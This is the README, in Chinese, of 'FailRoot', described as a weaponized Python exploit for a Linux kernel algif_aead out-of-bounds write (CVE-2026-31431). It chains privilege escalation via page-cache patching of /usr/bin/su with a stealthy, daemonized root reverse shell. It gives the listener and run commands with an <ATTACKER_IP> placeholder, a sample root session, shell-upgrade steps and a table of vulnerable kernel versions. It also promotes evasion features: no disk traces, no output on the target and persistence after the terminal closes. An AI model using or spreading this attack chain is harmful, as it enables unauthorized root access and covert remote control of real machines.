针对 CVE-2026-31431 的武器化 Python 漏洞利用,将 Linux 内核权限提升与守护进程化的 root 反向 Shell 相结合,具备完整 PTY,并在内存中修补 /usr/bin/su。
█▀▀ ▄▀█ █ █ █▀█ █▀█ █▀█ ▀█▀
█▀░ █▀█ █ █▄▄ █▀▄ █▄█ █▄█ ░█░
CVE-2026-31431 • Linux 内核 LPE → Root 反向 Shell
FailRoot 是一个针对 CVE-2026-31431 的武器化利用程序——该漏洞是 Linux 内核 crypto: algif_aead 子系统中的越界写入。
它将权限提升与守护进程化的 root 反向 Shell(带完整 PTY)串联在一起:
AF_ALG + splice() → 4 字节页缓存写入 → 修补 /usr/bin/su → root
整个利用程序仅包含在一个文件中。无需编译。无外部依赖。磁盘上无痕迹——su 二进制文件仅在内存中被修补。
algif_aead + authencesn/usr/bin/su 页缓存写入 4 个受控字节pty.spawn("/usr/bin/su") → 完全交互式 root TTY反向 Shell 在终端关闭后依然存活(忽略 SIGHUP),在目标上不显示任何输出,并在最多 3 分钟内持续重试连接。
# 攻击者 — 启动监听器:
nc -lvnp 4444
# 目标 — 运行利用程序(不会显示任何内容,它会立即守护进程化):
python3 exploit.py <ATTACKER_IP> 4444
attacker ~ $ nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.1.100] from [192.168.1.50] 50234
root@victim:~# id
uid=0(root) gid=0(root) groups=0(root)
Ctrl+Z
stty raw -echo; fg
reset
export TERM=xterm-256color
export SHELL=/bin/bash
| 起始版本 | 结束版本(不含) |
|---|---|
| 4.14 | 5.10.254 |
| 5.11 | 5.15.204 |
| 5.16 | 6.1.170 |
| 6.2 | 6.6.137 |
| 6.7 | 6.12.85 |
| 6.13 | 6.18.22 |
| 6.19 | 6.19.12 |
| 7.0 | rc1–rc6 |
os.splice())/usr/bin/su 具有读取权限(所有发行版上均为全局可读)algif_aead 和 authencesn 可用sudo仅限授权的安全研究和教育用途。滥用属违法行为。